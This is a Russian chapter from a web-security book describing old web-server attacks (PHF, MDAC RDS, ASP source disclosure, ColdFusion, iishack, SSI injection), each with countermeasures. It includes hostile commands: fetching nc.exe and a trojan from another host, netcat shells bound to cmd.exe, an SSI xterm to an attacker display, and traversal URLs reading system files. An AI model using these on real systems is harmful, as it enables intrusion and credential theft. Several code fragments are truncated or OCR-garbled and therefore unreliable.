Глава 15. УЯЗВИМОСТЬ В WEB
|
Уязвимость в WEB Тысячи компаний осознали, что всемирная паутина Web является мощным средством распространения информации, расширения торговли, улучшения качества обслуживания и поддержки постоянного контакта с заказчиками и клиентами. И хотя большинство организаций для защиты своих интересов и вложений предусмотрительно использует фильтрующие маршрутизаторы, брандмауэры и системы выявления вторжений, когда речь заходит об изъянах Web, многие из этих мер предосторожности могут оказаться бесполезными. Почему? Большинство из обсуждаемых в этой главе атак реализуется через порты Web (80, 81, 443, 8000, 8001, 8080 и т.д.). Хотя их не так много, обычно они открывают доступ в сегмент сети, доступный из Internet. Некоторые читатели, дочитавшие главу до конца, удивятся, узнав, каким грозным орудием может оказаться Web-броузер в руках взломщика. |
Воровство в Web В главе 1 описан предварительный сбор данных, позволяющий получить максимально полную информацию об отдельном узле или обо всей сети в целом. Воровство в Web преследует практически ту же цель. В поисках информации взломщики вручную просматривают Web-страницы, стараясь найти недостатки в коде, зацепки в комментариях и дизайне. В этом разделе приведено несколько способов такого сбора информации о Web-сервере. В число этих методов входит последовательный просмотр страниц вручную, применение сценариев автоматизации и коммерческих программ. Последовательный просмотр страниц Один из давно известных способов получения данных заключался в прохождении всего Web-узла вручную, просматривая в броузере исходный код каждой страницы. В документах HTML можно найти огромное количество информации, включая ценные комментарии, адресованные другим разработчикам, адреса электронной почты, номера телефонов, программы JavaScript и многое другое. Например, задав в броузере адрес какого-нибудь сервера и выбрав команду View^Page Source, можно увидеть исходный код HTML (рис. 15.1).
Упрощай! К крупным Web-узлам (содержащим более 30 страниц) большинство взломщиков применяют автоматизированный подход, используя специальные сценарии или утилиты. Сценарии можно писать на различных языках, однако авторы отдают предпочтение языку Perl. С помощью несложных программ на этом языке можно перемещаться по Web-серверу, осуществляя поиск определенных ключевых слов.
Эта программа позволяет задавать также слова, которые необходимо найти. Контрмеры против воровства в Web 1. Регулярно анализируйте содержимое журналов регистрации и следите за повышением количества запросов GET, поступающих из одного и того же источника. |
Поиск известных изъянов Как всегда, особое внимание следует уделять очевидным брешам в системе защиты. Это необходимо в основном потому, что и хакеры обращают на них внимание в первую очередь. Несколько разрушительных изъянов Web существует до сих пор, хотя о них стало широко известно еще несколько лет назад. Отличительной особенностью атак этого типа является то, что многие из них легко обнаружить. Сценарии автоматизации, применяемые новичками В данный момент как никогда уместна фраза "Пусть друзья будут рядом, а враги — еще ближе". Используемые в основном начинающими взломщиками, сканирующие сценарии (чаще всего написанные известными хакерами) зачастую могут помочь в обнаружении некоторых известных изъянов. Многие средства поиска таких брешей можно найти на Web-узле компании Technotronic (www.technotronic.com). Phfscan.c Изъян PHF (более подробно описанный ниже) был одной из первых применяемых для взлома брешей в сценариях Web-серверов. Этот изъян позволяет взломщику локально запускать любую команду, как если бы он был пользователем Web-сервера. Часто это приводит к тому, что файл паролей /etc/passwd оказывается загруженным на компьютер взломщика. В выявлении такого изъяна как администратору, так и хакеру, может помочь несколько программ и сценариев. Программа pfhscan.c является одной из наиболее популярных. Перед использованием ее нужно откомпилировать (gcc phfscan.c -о phfscan), подготовить список узлов, которые нужно просканировать (для создания такого списка подойдет утилита gping), назвать файл со сгенерированным списком host.phf и поместить его в один каталог с программой. После запуска двоичного файла (phfscan) программа начнет выдавать предупреждения о найденных уязвимых серверах. cgiscan.c cgiscan — это удобная небольшая утилита, созданная в 1998 году Бронком Бастером (Bronc Buster). Она предназначена для сканирования узлов и поиска среди них тех, которые подвержены старым изъянам, таким как PHF, count, cgi, test-cgi, PHP, handler, webdist.cgi, nph-test-cgi и многих других. Программа осуществляет поиск уязвимых сценариев в тех каталогах, где они обычно находятся, и пытается ими воспользоваться. Результат работы утилиты выглядит примерно следующим образом. [root@funbox-b ch!4]# cgiscan www.somedomain.com В Internet можно найти десятки сценариев, предназначенных для сканирования. На узле http://www.hackingexposed.com/ содержатся ссылки на самые популярные Web-узлы, на которых содержится самая разнообразная информация по вопросам безопасности. |
Приложения автоматизации В Internet можно найти несколько приложений, предназначенных для автоматизированного поиска хорошо известных изъянов или тех из них, которые становятся доступными при использовании в процессе установки программного обеспечения параметров, предлагаемых по умолчанию. В отличие от сценариев, эти средства используются вручную. Это не позволяет использовать их в больших корпоративных сетях, зато они успешно применяются в малых сетях и на серверах, на которые нужно обратить более пристальное внимание. Grinder Программа Grinder версии 1.1 (http://hackersclub.com/km/files/hfiles/ rhino9/grinderll .zip), поддерживает интерфейс Win32 и позволяет сканировать IP-адреса из заданного диапазона. Результатом ее работы является отчет, в котором содержится название и версия Web-сервера. Это ничем не отличается от применения обычной команды HEAD (например, утилиты netcat), однако в процессе сканирования программой Grinder создается несколько параллельных сокетов, поэтому она работает намного быстрее. На рис. 15.3 показано, как Grinder выполняет сканирование и определяет версии Web-серверов.
После завершения работы сканера будет создан файл, содержащий отчет о версии Web-сервера. 172.29.11.82 port 80: Server: Microsoft-IIS/4.0
SiteScan Программа' SiteScan, написанная Хамелеоном (Chameleon) из групп Rhino9 и InterCore, позволяет выполнить более глубокое исследование, чем Grinder, проверяя наличие таких определенных изъянов, как PHF, PHP, finger, test.cgi и другие. Это графическое приложение Win32 за один раз может исследовать только один IP-адрес, поэтому ее нельзя включать в сценарии. Придется каждый раз вручную вводить IP-адрес и просматривать полученный результат. |
Несоответствие сценариев требованиям безопасности: взлом при отсутствии проверки ввода Причиной взлома при отсутствии проверки ввода с использованием общего интерфейса шлюза (CGI — Common Gateway Interface), активных страниц сервера (ASP — Active Server Pages) и языка разметки CFML (Cold Fusion Markup Language), является промах либо разработчика, либо поставщика программного обеспечения. Основная проблема возникает из-за недостаточной обработки входных данных некоторого сценария. Если не позаботиться о проверке достоверности и последующей очистке входных данных, взломщик сможет передать сценарию нужный символ, скажем, локальную команду, в качестве параметра и таким образом локально запустить эту команду на Web-сервере. Изъян MDAC RDS IIS 4.0 Вскоре после того, как компания Microsoft справилась с проблемой, вызванной программой iishack, работа которой приводила к переполнению буфера сервера IIS (это произошло в июне 1999 года), в июле ей пришлось столкнуться с другой проблемой, связанной с Web-сервером. Данная проблема была описана в бюллетене компании Microsoft, посвященном вопросам безопасности, еще в 1998 году, но стала известна широкой общественности лишь в последнее время. Этот изъян возникает из-за недостатка одного из компонентов Microsoft доступа к данным (MDAC — Microsoft Data Access Components) службы RDS (Remote Data Service), который позволяет взломщику запускать любые команды на уязвимом сервере. #!/usr/bin/perl При использовании параметра -n команды netcat требуется, чтобы в командной строке явно указывался IP-адрес "Анатомия" атаки Сценарий Perl можно найти на многих Web-узлах, в том числе в архиве NTBugtraq (http://www.ntbugtraq.com) или на узле компании Security Focus (http://www.securityfocus.com). Он работает одинаково эффективно как в системе UNIX, так и в NT, и предпринимает попытку установить связь с компонентами MDAC, чтобы добавить в запрос SQL строку | shell ($command) |. Когда компонент MDAC достигает команды shell, выполняется команда, заданная в переменной $ command. Для того чтобы убедиться в наличии описанной возможности, попробуйте запустить команду со следующим синтаксисом. C:\>perl mdac_exploit.pl -h 192.168.50.11 Разработка корректной команды для системы NT — непростая задача. Сомил Шах (Somil Shah) и Нитеш Даньяни (Nitesh Dhanjani) вместе с Джорджем Куртцом (George Kurtz) разработали интересную последовательность команд, которые можно загрузить с помощью TFTP или по FTP. В результате будет загружена и запущена утилита netcat, возвращающая обратно командную оболочку системы NT (cmd.exe). Например, с использованием средств FTP можно воспользоваться следующей последовательностью команд, "cd SystemRoot £& echo $ftp_user>ftptmp При использовании TFTP аналогичные команды будут выглядеть следующим образом, "cd\%SystemRoot\% Применение этих команд в сценарии Perl позволит вернуть командную оболочку удаленной системы, с помощью которой можно будет загрузить любое количество файлов, включая утилиту pwdump.exe (позволяющую получить хэш-коды из базы данных SAM), а затем приступить к взлому с применением утилит L0phtcrack или John vl.6. Если команда оказалась неработоспособной, то, не исключено, что на пути к порту TCP (FTP) с номером 21 или порту UDP (TFTP, 69) целевой системы находится маршрутизатор или брандмауэр. Контрмеры: защита компонентов МDАС службы RDS Для того чтобы предотвратить такие атаки, либо удалите все файлы, используемые в этом случае, либо измените конфигурационные параметры сервера. Изъяны CGI По-видимому, после переполнения буфера плохо написанные сценарии CGI являются наиболее опасными изъянами в Internet. В электронном мире еще можно найти Web-серверы, разработчики которых экономили время на программировании, а после того, как взломщик пробрался на сервер и навел там свои порядки, пожалели о своей спешке. В этом разделе описано несколько наиболее популярных изъянов сценариев CGI, а также последствия, к которым приводит их использование. Сценарии PHF Возможно, одним из наиболее старых и в наши дни редко встречающихся изъянов является сценарий PHF, который изначально применялся на серверах HTTPD центра NCSA (версия 1.5А-Export или более ранние) и сервера Apache (версии 1.0.3). Эта программа CGI является примером сценария, обеспечивающего интерфейс в виде форм, который можно использовать для поиска имен и адресов в адресной книге. Из-за того что в этом сценарии для проверки входных данных используется функция escape_shell_cmd(), он оказывается уязвимым для широко распространенной атаки, при которой обманным путем удается локально запускать команды. Символ новой строки (0х0а в шестнадцатеричной системе счисления) не проверяется при контроле правильности входных данных. Поэтому он может быть использован для прерывания выполнения сценария и запуска любой команды, указанной после этого символа, в локальном контексте Web-сервера. Например, введение следующего адреса URL приведет к извлечению файла паролей, если пользователь, запустивший Web-сервер, обладает правами доступа к этому файлу. Контрмеры: защита сценариев РНР Предотвращение Лучше всего удалите этот сценарий с Web-сервера. Скорее всего, на рабочем сервере такой сценарий не требуется. Обнаружение Средства обнаружения атак, направленных на использование изъяна PHF, встроены почти в каждую бесплатную или коммерческую систему выявления вторжений, так что в этом случае решить проблему безопасности будет несложно. С помощью программы phfprobe.pl можно привлечь взломщиков к своему Web-узлу и зафиксировать выполняемые ими действия. В процессе анализа полученных данных можно лучше продумать стратегию защиты. Данная программа Perl служит в качестве приманки, имитирующей сценарий PHF. Она отправляет взломщикам такие ответные сообщения, как будто предпринимаемые ими действия выполняются успешно. На самом же деле осуществляется сбор информации о взломщиках и их тактике. Эту ловушку следует применять только при полной уверенности в надежности системы.
Изъяны CGI системы Irix Первое сообщение об изъяне CGI системы Irix появилось в 1997 году в бюллетене Bugtraq. Новость опубликовал Разван Драгомиреску (Razvan Dragomirescu). Он обнаружил, что в состав подсистемы Outbox Environment многих систем Irix входит несколько программ, уязвимых для взлома при отсутствии проверки ввода. Сценарий webdist.cgi, а также сценарии-оболочки систем Irix 5.x и 6.x позволяют взломщикам передавать локальные команды и запускать их на удаленном узле. Контрмеры против использования изъянов CGI систем Irix Как и раньше, если сценарий не применяется, лучше всего удалить его из системы и тем самым предотвратить возможность использования его изъянов. Если же удалить сценарий невозможно, воспользуйтесь модулем обновления SGI, который можно найти по адресу http://www.sgi.com/support/patch_intro.html. test-cgi Впервые об этом изъяне широкой общественности сообщила группа L0pht в 1996 году. С его использованием взломщик может удаленно получать информацию о файлах, которые имеются на целевом узле. Например, используя следующий URL, взломщик может просмотреть список всех файлов и каталогов, которые содержатся в каталоге сценариев (egi -bin). http://192.168.51.101/cgi-bin/test-cgi?* В результате на экран будет выведено значение переменной окружения QUERY_STRING. QUERY_STRING = count.cgi createuser.pl nph-test-cgi phf php.cgi Конечно же, получение перечня имеющихся в системе сценариев поможет взломщику найти другие слабые места, через которые можно будет получить доступ к Web-серверу, например PHF, PHP и т.д. Эта информация откроет взломщику доступ к удаленному узлу с правами пользователя или даже суперпользователя, а впоследствии он добьется контроля над всей системой UNIX. Контрмеры против использования изъянов ССI Если обычное решение проблемы (удаление сценария) по каким-либо причинам реализовать нельзя, стоит обратиться к некоторым ресурсам Internet, в которых можно найти советы по безопасному написанию сценариев. |
Уязвимость активных страниц сервера Активные страницы сервера (ASP — Active Server Pages) представляют собой разработку компании Microsoft, аналогичную сценариям Perl и интерфейсу CG1 системы UNIX. Обычно написанный на языке VBScript, код ASP выполняет многое из того, что необходимо для поддержки состояния, обеспечения доступа к серверной части базы данных и отображения кода HTML в окне броузера. Одной из приятных особенностей страниц ASP является то, что они могут "на лету" генерировать страницы HTML. Другой малоприятной особенностью являются многочисленные изъяны страниц ASP, позволяющие взломщику просматривать их исходный код. Почему это плохо? Во-первых, потому, что взломщик, изучая логику программы, может обнаружить и другие изъяны. Во-вторых, он может найти в этих файлах такую важную информацию, как база данных имен и паролей пользователей. Ошибка ASP, связанная с интерпретацией точки Один из членов группы LOpht в 1997 году обнаружил ошибку, которая возникает, если одну или несколько точек поставить после адреса URL страницы ASP сервера IIS 3.0. При этом можно просмотреть исходный код ASP и проанализировать логику этой программы. Еще важнее то, что в данном файле можно найти такую важную информацию, как имена и пароли пользователей. Чтобы воспользоваться этой возможностью, нужно просто добавить точку после URL. Контрмеры Хорошая новость заключается в том, что компания Microsoft выпустила модуль обновления для сервера IIS 3.0. Уязвимость ASP, связанная с альтернативными потоками данных Впервые об этом изъяне в бюллетене Bugtraq сообщил Пауль Эштон (Paul Ashton). В данном случае также можно загрузить исходный код страниц ASP. Этой возможностью легко воспользоваться, поэтому она стала довольно популярна среди новичков. Просто задайте URL в следующем формате. Контрмеры Для усиления защиты ограничьте доступ ко всем исходным файлам, отменив право на чтение для группы Everyone. В конце концов, для исходного код вполне достаточно разрешения на выполнение. Изъяны showcode. asp и codebrws. asp Рассмотрим еще один изъян, имеющий отношение к IIS 4.0, который связан с возможностью просмотра исходного кода ASP. Его отличие от рассмотренных выше ошибок заключается в том. что сам по себе этот изъян не является ошибкой, а представляет собой пример плохого программирования. Если в процессе установки сервера IIS 4.0 будут скопированы также файлы с примерами исходного кода ASP, то несколько плохо написанных файлов позволят взломщику загрузить на свой компьютер другие файлы. Проблема заключается в неспособности сценариев обрабатывать символы .., содержащиеся в пути к файлу. В следующем примере использование файла showcode.asp приведет к отображению файла boot.ini взламываемой системы (если доступ ограничен незначительно, то просмотреть можно любой файл). http: //192.168. 51.101/msadc/Samples/ Точно так же, посредством файла codebrws.asp можно просмотреть любой файл, который находится на локальном диске. Как упоминалось в главе 13, можно попытаться найти файлы с расширением GIF программы pcAnywhere. http://192.168.51.101/iissamples/exair/howitworks/ Изъяны showcode.asp и codebrws.asp невозможно использовать для корректной загрузки с целевого узла двоичных файлов. Причина заключается в том, что сценарий ASP обычно преобразовывает файлы. Преобразование такого файла, как SAM._, приведет к его повреждению и сделает его непригодным для использования. Однако это не помешает умелому хакеру восстановить структуру файла SAM и воспользоваться полученной информацией.
Контрмеры против использования изъянов в файлах АSР Рассмотренные выше проблемы можно решить, установив модуль обновления сервера IIS. Этот модуль, а также статью Q232449 из базы знаний компании Microsoft, можно найти по адресу ftp://ftp.microsoft.com/ bussys/IIS/iis-public/ fixes/usa/Viewcode-fix/. Изъян webhits.dll Ряд проблем, связанных с возможностью просмотра файлов, был выявлен группой CIS (Cerberus Information Security). Эти изъяны связаны с приложением ISAPI webhits.dll. Эта динамически подключаемая библиотека реализует механизм выделения информации в процессе функционирования MS Index Server. Однако ее наличие делает возможным взлом, при котором злоумышленник просматривает важные исходные коды ASP или другую информацию, содержащуюся на локальном диске. Первая из возможных атак начинается с использования существующего файла . HTW для просмотра исходного кода. http://192.168.51.101/default.asp%20%20%20%20%20%20%20% Третья .HTW-атака основана на использовании имени файла null.htw для помещения в окно броузера необработанного файла: http://192.168.51.10I/null.htw?CiWebHitsFile=/../../../../../winnt/ Использование предыдущего адреса URL приведет к тому, что сервер IIS предоставит файл /winnt/repair/setup.log. Контрмеры против использования изъянов библиотеки webhits.dll Для предотвращения использования рассмотренных атак удалите приложения, связанные с файлами с расширением . HTW. Для этого откройте диалоговое окно с основными свойствами уязвимого сервера, а затем для службы WWW Service щелкните на кнопке Edit. Далее перейдите во вкладку Home Directory и щелкните на кнопке Configuration из группы Application Settings. При этом на экране появится следующее диалоговое окно. Затем выделите строку, в которой указано приложение, связанное с файлами . HTW, и щелкните на кнопке Remove. После этого Web-сервер больше не будет обращаться к библиотеке webhits .dll, и, таким образом, этот изъян будет устранен.
Изъяны сервера ColdFusion Специалистами группы LOpht было обнаружено несколько существенных изъянов в сервере приложений Cold Fusion, позволяющих осуществлять удаленный запуск команд на уязвимом Web-сервере. В процессе установки этого программного продукта вместе с ним копируются также примеры кода и интерактивная документация. Причиной обнаруженных изъянов послужили несколько примеров, взаимодействие которых не ограничивается только локальным узлом. systemC'tftp -i 192.168.51.100 GET nc.exe"); Этот метод сработает в том случае, если на сервере Cold Fusion установлен интерпретатор языка Perl. http://192.168.51.101/cfdocs/expeval/openfile.cfm 3. Укажите в поле Open File путь к созданному файлу и щелкните на кнопке ОК. 4. В адресе URL замените строку D:\INETPUB\WWWROOT\cfdocs\expeval\test.pl на полное имя файла exprcalc.cfm (с указанием пути), предназначенного для удаления загруженных в систему файлов. После внесения изменений URL должен выглядеть следующим образом. http://192.168.51.101/cfdoce/expeval/ExprCalc.cfra?RequestTimeout= 5. В окне должно появиться содержимое файла exprcalc. cfm и он должен быть удален из системы. После этого все файлы, загруженные с помощью openfile.cfm, будут оставаться в удаленной системе. С:\>пс -1 -р 3000
Контрмеры против использования изъянов сервера Cold Fusion Для того чтобы предотвратить возможность использования изъянов Cold Fusion, можно воспользоваться двумя способами:
|
Переполнение буфера Многие годы проблемы, связанные с переполнением буфера, были серьезным недостатком системы защиты системы UNIX. После появления в 1995 году статьи How to write buffer overflow в мире UNIX многое переменилось. В классической статье Алефа Вана (Aleph One) Smashing the stack for fun and profit, впервые опубликованной в журнале Phrack Magazine в 1996 году, подробно описано, насколько просто добиться переполнения буфера. Изъян РНР В сценариях РНР имеется два (а возможно и больше) изъянов. Один из них является обычной проблемой отсутствия проверки ввода, ставшей бедствием для многих разрабатываемых ранее сценариев. С использованием этого изъяна взломщики могли просмотреть любой файл целевой системы. Контрмеры против использования изъяновРНР Обеспечить защиту можно двумя способами:
Изъян wwwcount.cgi Программа wwwcount является популярным счетчиком Web. Впервые о ее изъяне и его применении стало известно в 1997 году. Этот изъян позволяет взломщик)' удаленно выполнять любой код на локальной системе. Широкой общественности по крайней мере стало известны два примера использования этого изъяна, однако в обоих случаях происходило в основном одно и то же: "захват" взломщиком окна xterm. Контрмеры против использования nsbflHawwwcount Предотвратить использование изъяна программы wwwcount можно двумя способами:
Изъян iishack сервера IIS 4.0 В июне 1999 года широкой общественности стало известно о досадной ошибке в системе защиты сервера IIS 4.0, которая оказалась серьезной угрозой безопасности Web-сервера компании Microsoft. Этот изъян был обнаружен группой экспертов по вопросам безопасности еЕуе, которая поместила в Internet исходный код и исполняемый файл, с помощью которого можно осуществить взлом. Источником проблемы является недостаточная проверка границ имен файлов .НТК, .STM и .юс, содержащихся в адресах URL. Это позволяет взломщику поместить в этот адрес код, который будет загружен на целевую систему и выполнен с правами администратора. C:\nt\>iishack 10.12.24.2 80 172.29.11.101/getem.exe Созданная авторами простая программа типа "троянский конь" getem.exe, распаковывает утилиту pwdump.exe (позволяющую получить дамп хеш-кодов базы данных SAM), запускает утилиту netcat, настроенную на прослушивание порта 25, и возвращает обратно командную оболочку (nc -nw -L -р 25 -t -e cmd.exe). После успешного выполнения всех этих действий на собственном компьютере можно запустить утилиту netcat, получив таким образом в свое распоряжение командную оболочку и локальный доступ с привилегиями учетной записи SYSTEM (т.е. с правами администратора): C:\>nc -nw 10.11.1.1 26 С помощью простых команд копирования и вставки, применяемых в командной строке, а также программы LOphtCrack, которая используется для взлома хеш-кодов, можно получить в свое распоряжение пароль администратора (и любого другого пользователя системы). Контрмеры против изъянов US 4.0 Сначала компания Microsoft разработала комплекс рекомендаций для устранения этой проблемы, а затем выпустила модуль обновления. Группа экспертов eEye выпустила свой собственный модуль обновления, однако всегда рекомендуется использовать средства от производителя. Изъян переполнения полей У читателя может возникнуть вопрос, "Действительно ли можно взломать Web-сервер, пользуясь только Web-броузером?" На этот вопрос можно ответить вполне определенно: "ДА". Программисты в Web в первую очередь заботятся о производительности, отодвигая вопросы безопасности на второй план. Лучше всего это видно на примере ошибки, возникающей при переполнении буфера на сервере Cold Fusion, которая была обнаружена группой Foundstone. Проблема заключается в том, каким образом компания Allaire реализовала проверку достоверности входных данных, которые вводятся в поле пароля администратора. Пользуясь недостаточно полной очисткой этого поля, взломщик с помощью одного броузера может практически полностью вывести Web-сервер из строя. Вот как это можно сделать. 1. Введите в броузере адрес страницы регистрации администратора в системе на типичном сервере Cold Fusion: <form 4. Измените дескриптор HTML с именем PasswordProvided, который содержит пароль, а затем измените свойства size и MAXLENGTH: <input Name="PasswordProvided" 5. Щелкните на кнопке Preview, расположенной на панели инструментов Netscape, и сохраните этот файл в формате HTML.
На приведенном рисунке можно увидеть, что выполненные выше действия привели к подъему использования процессора сервера до 100%. Если подобные запросы продолжают поступать то, в конце концов, произойдет переполнение памяти. Более того, если на сервер отправить больше миллиарда символов, это окончательно выведет его из строя. В любом случае, для выяснения причины сбоя придется перезагружать систему.
Контрмеры Единственным эффективным решением проблемы подобного рода является использование в каждой разрабатываемой программе процедуры очистки входных данных. В рассмотренном случае можно переместить страницу администратора в какой-то другой каталог или выполнить рекомендации по обеспечению безопасности сервера Cold Fusion, которые можно найти по адресу http://www.allaire.com/Handlers/index. cfm?ID=10954&Method=Full. |
Плохое проектирование в Web Хотя в истории развития Internet имеются многочисленные примеры разрушительных атак на Web-серверы, которые позволяют взломщикам получать важную информацию об устройстве сервера, а зачастую и привилегированные права доступа, эти взломы — только вершина айсберга. Многие разработчики не стремятся изучить жизненно важные методы проектирования, которые могли бы ограничить нежелательное использование их Web-серверов. В развитие многих из методов, обсуждаемых в этой главе, внесли вклад многие люди, в том числе Симпл Номад (Simple Nomad) из центра NMRCи компания Perfecto Inc. Использование скрытых дескрипторов В настоящее время многие компании пользуются Internet, предлагая свои продукты и услуги любому, у кого есть Web-броузер. Но "плохо запрограммированная" тележка для покупок может позволить взломщику фальсифицировать стоимость товаров. Например, рассмотрим небольшую компанию, занимающуюся продажей аппаратного обеспечения. Эта компания обзавелась собственным Web-сервером, чтобы ее клиенты могли осуществлять покупки в интерактивном режиме. Однако они допустили в программе важный промах: применили скрытые дескрипторы HTML как единственный механизм назначения цены за определенный товар. В результате, если взломщики обнаружат это уязвимое место, они смогут изменить цену, стоящую в скрытых дескрипторах, по своему усмотрению. <FORM ACTION="http://192.168.51.101/cgi-bin/order.pi" В этом случае простое изменение цены с помощью Netscape Composer или в любом текстовом редакторе позволит взломщику заплатить за товар $1.99 вместо предполагаемой суммы $199.99: Контрмеры против использования скрытых дескрипторов Чтобы предотвратить возможность использования взломщиками скрытых дескрипторов HTML, ограничьте их использование в коде, который обеспечивает хранение такой важной информации как цены, или, по крайней мере, реализуйте режим подтверждения этих значений перед их использованием. Вставки SSI Механизм SSI (Server Side Includes) обеспечивает интерактивную работу в режиме реального времени без использования программирования. Разработчики Web-приложений часто используют эту возможность для быстрого получения системной даты/времени или для запуска локальной команды и обработки выходных данных. Возможности таких вставок реализуются с помощью дескрипторов (tag). В число дескрипторов входят: echo, include, fsize, flastmod, exec, config, odbc, email, if, goto, label, и break. Три из них, include, exec и email, могут оказаться наиболее полезны взломщикам. <!--#ехес cmd="/usr/XHR6/bin/xterm -display attacker:0 &"-->
Меры предосторожности против использования SSI Нужно пользоваться сценарием, проводящим предварительный синтаксический анализ любого прочитанного файла HTML, и отбрасывающим любую несанкционированную строку SSI перед передачей этого файла серверу для обработки. Добавления к файлам Любая возможность Web-приложений, позволяющая пользователю вводить информацию в файл непосредственно повышает уязвимость системы и создает потенциальную возможность атаки. Например, если на Web-узле содержится форма для ввода рекомендаций по улучшению работы узла, или что-то другое в том же духе, и пользователи имеют возможность просматривать этот файл, то взломщик может воспользоваться этим обстоятельством. Используя код SSI (описанным выше способом), он может поместить в файл с комментариями код, который запускается локально, или код JavaScript, предлагающий ввести входящим пользователям их имя и пароль, чтобы использовать эту информацию в будущем. Контрмеры против использования добавлений к файлам Нужно ограничить возможность использования добавлений в процессе совместного интерактивного использования информации, так как эти возможности открывают взломщику слишком много путей манипулирования пользователями и Web-сервером. |
Резюме В этой главе обсуждаются распространенные и не очень известные проблемы, обнаруженные в Internet. У взломщиков на вооружении имеется определенный набор способов, к которым они могут прибегнуть, пытаясь получить доступ к Web-серверу, или хотя бы обмануть его. При этом они могут пользоваться изъянами проверки входных данных, условиями переполнения буфера или обычными промахами, допущенными при разработке Web-приложений. |